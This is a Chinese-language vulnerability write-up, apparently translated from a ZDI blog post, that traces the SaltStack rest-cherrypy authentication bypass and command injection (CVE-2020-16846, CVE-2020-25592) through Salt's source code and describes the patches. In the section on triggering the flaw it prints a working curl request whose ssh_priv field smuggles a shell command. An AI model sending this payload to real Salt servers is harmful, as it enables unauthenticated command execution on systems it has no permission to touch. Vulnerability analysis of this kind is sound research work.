一、概述
11月3日,SaltStack发布了Salt的安全补丁,修复了三个高危漏洞。其中有两个修复程序,是为了解决外部研究人员通过ZDI项目提交的五个漏洞。这些漏洞可导致在运行Salt应用程序的系统上实现未经身份验证的命令注入。ZDI-CAN-11143是由一位匿名研究人员提交给ZDI的,而其余的漏洞则是我们发现的ZDI-CAN-11143的变体。在这篇文章中,我们将详细研究这些漏洞的根本原因。
二、漏洞详情
漏洞影响应用程序的rest-cherrypy netapi模块。rest-cherrypy模块为Salt提供REST API。该模块来源于Python的CherryPy模块,在默认情况下未启用。如果要启用rest-cherrypy模块,主配置文件/etc/salt/master中必须加入以下行:
rest_cherrypy:
Port: 8000
Disable_ssl: true
其中,/run
终端非常重要。它通过salt-ssh子系统发出命令,而salt-ssh子系统会使用SSH来执行Salt例程。
发送到/run
API的POST请求将调用salt.netapi.rest_cherrypy.app.Run
类的POST()
方法,这个类最终会调用salt.netapi.NetapiClient
的run()
方法:
class NetapiClient(object):
# [... Truncated ...]
salt.exceptions.SaltInvocationError(
# "Invalid client specified: '{0}'".format(low.get("client"))
"Invalid client specified: '{0}'".format(CLIENTS)
)
if not ("token" in low or "eauth" in low):
raise salt.exceptions.EauthAuthenticationError(
"No authentication credentials given"
)
if low.get("raw_shell") and not self.opts.get("netapi_allow_raw_shell"):
raise salt.exceptions.EauthAuthenticationError(
"Raw shell option not allowed."
)
l_fun = getattr(self, low["client"])
f_call = salt.utils.args.format_call(l_fun, low)
return l_fun(*f_call.get("args", ()), **f_call.get("kwargs", {}))
def local_batch(self, *args, **kwargs):
"""
Run :ref:`execution modules <all-salt.modules>` against batches of minions
.. versionadded:: 0.8.4
Wraps :py:meth:`salt.client.LocalClient.cmd_batch`
:return: Returns the result from the execution module for each batch of
returns
"""
local = salt.client.get_local_client(mopts=self.opts)
return local.cmd_batch(*args, **kwargs)
def ssh(self, *args, **kwargs):
"""
Run salt-ssh commands synchronously
Wraps :py:meth:`salt.client.ssh.client.SSHClient.cmd_sync`.
:return: Returns the result from the salt-ssh command
"""
ssh_client = salt.client.ssh.client.SSHClient(
mopts=self.opts, disable_custom_roster=True
)
return ssh_client.cmd_sync(kwargs)
如上所示,run()
方法负责验证client
参数的值。client
参数的有效值包括local
、local_async
、local_batch
、local_subset
、runner
、runner_async
、ssh
、wheel
和wheel_async
。在验证了client参数后,它将检查请求中是否存在token或eauth参数。值得关注的是,这个方法无法验证token或eauth参数的值。因此,无论token或eauth参数是任何值,都可以通过检查。在通过检查后,该方法会根据client参数的值,去调用相应的方法。
如果client
参数值为ssh
时,将触发漏洞。在这种情况下,run()
方法将调用ssh()
方法。ssh()
方法通过调用salt.client.ssh.client.SSHClient
类的cmd_sync()
方法同步执行ssh-salt命令,最终会调用_prep_ssh()
方法。
class SSHClient(object):
# [... Truncated]
def _prep_ssh(
self, tgt, fun, arg=(), timeout=None, tgt_type="glob", kwarg=None, **kwargs
):
"""
Prepare the arguments
"""
opts = copy.deepcopy(self.opts)
opts.update(kwargs)
if timeout:
opts["timeout"] = timeout
arg = salt.utils.args.condition_input(arg, kwarg)
opts["argv"] = [fun] + arg
opts["selected_target_option"] = tgt_type
opts["tgt"] = tgt
return salt.client.ssh.SSH(opts)
def cmd(
self, tgt, fun, arg=(), timeout=None, tgt_type="glob", kwarg=None, **kwargs
):
ssh = self._prep_ssh(tgt, fun, arg, timeout, tgt_type, kwarg, **kwargs) #<-------------- calls ZDI-CAN-11143
final = {}
for ret in ssh.run_iter(jid=kwargs.get("jid", None)): #<------------- ZDI-CAN-11173
final.update(ret)
return final
def cmd_sync(self, low):
kwargs = copy.deepcopy(low)
for ignore in ["tgt", "fun", "arg", "timeout", "tgt_type", "kwarg"]:
if ignore in kwargs:
del kwargs[ignore]
return self.cmd(
low["tgt"],
low["fun"],
low.get("arg", []),
low.get("timeout"),
low.get("tgt_type"),
low.get("kwarg"),
**kwargs
) #<------------------- calls
_prep_ssh()
函数设置参数,并初始化SSH对象。
三、触发漏洞
触发漏洞的请求如下:
curl -i $salt_ip_addr:8000/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'
在这里,client参数的值为ssh
,存在漏洞的参数是ssh_priv
。在内部,ssh_priv
参数在SSH对象初始化期间会用到,如下所示:
SSH(object):
"""
Create an SSH execution system
"""
ROSTER_UPDATE_FLAG = "#__needs_update"
def __init__(self, opts):
self.__parsed_rosters = {SSH.ROSTER_UPDATE_FLAG: True}
pull_sock = os.path.join(opts["sock_dir"], "master_event_pull.ipc")
if os.path.exists(pull_sock) and zmq:
self.event = salt.utils.event.get_event(
"master", opts["sock_dir"], opts["transport"], opts=opts, listen=False
)
else:
self.event = None
self.opts = opts
if self.opts["regen_thin"]:
self.opts["ssh_wipe"] = True
if not salt.utils.path.which("ssh"):
raise salt.exceptions.SaltSystemExit(
code=-1,
msg="No ssh binary found in path -- ssh must be installed for salt-ssh to run. Exiting.",
)
self.opts["_ssh_version"] = ssh_version()
self.tgt_type = (
self.opts["selected_target_option"]
if self.opts["selected_target_option"]
else "glob"
)
self._expand_target()
self.roster = salt.roster.Roster(self.opts, self.opts.get("roster", "flat"))
self.targets = self.roster.targets(self.opts["tgt"], self.tgt_type)
if not self.targets:
self._update_targets()
# If we're in a wfunc, we need to get the ssh key location from the
# top level opts, stored in __master_opts__
if "__master_opts__" in self.opts:
if self.opts["__master_opts__"].get("ssh_use_home_key") and os.path.isfile(
os.path.expanduser("~/.ssh/id_rsa")
):
priv = os.path.expanduser("~/.ssh/id_rsa")
else:
priv = self.opts["__master_opts__"].get(
"ssh_priv",
os.path.join(
self.opts["__master_opts__"]["pki_dir"], "ssh", "salt-ssh.rsa"
),
)
else:
priv = self.opts.get(
"ssh_priv", os.path.join(self.opts["pki_dir"], "ssh", "salt-ssh.rsa")
)
if priv != "agent-forwarding":
if not os.path.isfile(priv):
try:
salt.client.ssh.shell.gen_key(priv)
except OSError:
raise salt.exceptions.SaltClientError(
"salt-ssh could not be run because it could not generate keys.\n\n"
"You can probably resolve this by executing this script with "
"increased permissions via sudo or by running as root.\n"
"You could also use the '-c' option to supply a configuration "
"directory that you have permissions to read and write to."
)
ssh_priv
参数的值用于SSH私有文件。如果ssh_priv
值对应的文件不存在,则调用/salt/client/ssh/shell.py
的gen_key()
方法来创建文件,并将ssh_priv
作为path
参数传递给该方法。基本上,gen_key()
方法生成公钥和私钥密钥对,并将其存储在path
参数定义的文件中。
def gen_key(path):
"""
Generate a key for use with salt-ssh
"""
cmd = 'ssh-keygen -P "" -f {0} -t rsa -q'.format(path)
if not os.path.isdir(os.path.dirname(path)):
os.makedirs(os.path.dirname(path))
subprocess.call(cmd, shell=True)
从上面的方法中我们可以看到,这里并没有清除路径,且在后续的Shell命令中使用了该路径来创建RSA密钥对。如果ssh_priv
包含命令注入字符,则可以在通过subprocess.call()
方法执行命令时执行用户控制的命令。这样就导致攻击者可以在运行Salt应用程序的系统上运行任意命令。
在进一步研究SSH对象初始化方法之后,可以观察到多个变量设置为用户控制的HTTP参数的值。随后,这些变量在shell命令中用作执行SSH命令的参数。在这里,user
、port
、remote_port_forwards
和ssh_options
变量非常容易受到攻击,如下所示:
class SSH(object):
"""
Create an SSH execution system
"""
ROSTER_UPDATE_FLAG = "#__needs_update"
def __init__(self, opts):
# [...]
self.targets = self.roster.targets(self.opts["tgt"], self.tgt_type)
if not self.targets:
self._update_targets()
# [...]
self.defaults = {
"user": self.opts.get(
"ssh_user", salt.config.DEFAULT_MASTER_OPTS["ssh_user"]
),
"port": self.opts.get(
"ssh_port", salt.config.DEFAULT_MASTER_OPTS["ssh_port"]
), # <------------- vulnerable parameter
"passwd": self.opts.get(
"ssh_passwd", salt.config.DEFAULT_MASTER_OPTS["ssh_passwd"]
),
"priv": priv,
"priv_passwd": self.opts.get(
"ssh_priv_passwd", salt.config.DEFAULT_MASTER_OPTS["ssh_priv_passwd"]
),
"timeout": self.opts.get(
"ssh_timeout", salt.config.DEFAULT_MASTER_OPTS["ssh_timeout"]
)
+ self.opts.get("timeout", salt.config.DEFAULT_MASTER_OPTS["timeout"]),
"sudo": self.opts.get(
"ssh_sudo", salt.config.DEFAULT_MASTER_OPTS["ssh_sudo"]
),
"sudo_user": self.opts.get(
"ssh_sudo_user", salt.config.DEFAULT_MASTER_OPTS["ssh_sudo_user"]
),
"identities_only": self.opts.get(
"ssh_identities_only",
salt.config.DEFAULT_MASTER_OPTS["ssh_identities_only"],
),
"remote_port_forwards": self.opts.get("ssh_remote_port_forwards"), # <------------- vulnerable parameter
"ssh_options": self.opts.get("ssh_options"), # <------------- vulnerable parameter
}
def _update_targets(self):
"""
Update targets in case hostname was directly passed without the roster.
:return:
"""
hostname = self.opts.get("tgt", "")
if "@" in hostname:
user, hostname = hostname.split("@", 1) # <------------- vulnerable parameter
else:
user = self.opts.get("ssh_user") # <------------- vulnerable parameter
if hostname == "*":
hostname = ""
if salt.utils.network.is_reachable_host(hostname):
hostname = salt.utils.network.ip_to_host(hostname)
self.opts["tgt"] = hostname
self.targets[hostname] = {
"passwd": self.opts.get("ssh_passwd", ""),
"host": hostname,
"user": user,
}
if self.opts.get("ssh_update_roster"):
self._update_roster()
_update_targets()
方法设置user
变量,该变量取决于tgt
或ssh_user
的值。如果HTTP参数tgt
的值使用了“username@localhost”的格式,则会将“username”分配给用户变量。否则,user
的值由ssh_user
参数设置。port
、remote_port_forwards
和ssh_options
的值分别由HTTP参数ssh_port
、ssh_remote_port_forwards
和ssh_options
定义。
在初始化SSH对象后,_prep_ssh()
方法通过handle_ssh()
产生一个子进程,最终会执行salt.client.ssh.shell.Shell
类的exec_cmd()
方法。
def exec_cmd(self, cmd):
"""
Execute a remote command
"""
cmd = self._cmd_str(cmd)
logmsg = "Executing command: {0}".format(cmd)
if self.passwd:
logmsg = logmsg.replace(self.passwd, ("*" * 6))
if 'decode("base64")' in logmsg or "base64.b64decode(" in logmsg:
log.debug("Executed SHIM command. Command logged to TRACE")
log.trace(logmsg)
else:
log.debug(logmsg)
ret = self._run_cmd(cmd) # <--------------- calls
return ret
def _cmd_str(self, cmd, ssh="ssh"):
"""
Return the cmd string to execute
"""
# TODO: if tty, then our SSH_SHIM cannot be supplied from STDIN Will
# need to deliver the SHIM to the remote host and execute it there
command = [ssh]
if ssh != "scp":
command.append(self.host)
if self.tty and ssh == "ssh":
command.append("-t -t")
if self.passwd or self.priv:
command.append(self.priv and self._key_opts() or self._passwd_opts())
if ssh != "scp" and self.remote_port_forwards:
command.append(
" ".join(
[
"-R {0}".format(item)
for item in self.remote_port_forwards.split(",")
]
)
)
if self.ssh_options:
command.append(self._ssh_opts())
command.append(cmd)
return " ".join(command)
def _run_cmd(self, cmd, key_accept=False, passwd_retries=3):
# [...]
term = salt.utils.vt.Terminal(
cmd,
shell=True,
log_stdout=True,
log_stdout_level="trace",
log_stderr=True,
log_stderr_level="trace",
stream_stdout=False,
stream_stderr=False,
)
sent_passwd = 0
send_password = True
ret_stdout = ""
ret_stderr = ""
old_stdout = ""
try:
while term.has_unread_data:
stdout, stderr = term.recv()
如上述代码所示,exec_cmd()
首先调用the_cmd_str()
方法来创建一个命令字符串,而不进行任何验证。然后,它通过显式调用系统Shell程序,调用_run_cmd()
来执行命令。这会将命令注入字符视为Shell的元字符,而并非是命令的参数。一旦执行这个精心设计的命令字符串,就可能会导致任意命令注入。
四、总结
SaltStack发布了修复程序,以解决命令注入和身份验证绕过漏洞。同时,他们为这两个漏洞分配了编号CVE-2020-16846和CVE-2020-25592。CVE-2020-16846的修复原理是在执行命令时禁用系统Shell,以此来解决漏洞问题。禁用系统Shell意味着Shell元字符会被视为第一个命令的参数的一部分。
CVE-2020-25592的修复原理是添加对eauth
和token
参数的验证,以此来修复漏洞。这样一来,就仅允许有效用户通过rest-cherrypy netapi
模块访问salt-ssh
功能。这是我们的ZDI项目中收到的第一个SaltStack漏洞,后续的工作也非常重要。我们期待以后能接收到更多的提交报告。
大家可以关注我的Twitter @ nktropy,跟进团队研究进展,获取最新的漏洞利用技术和安全补丁。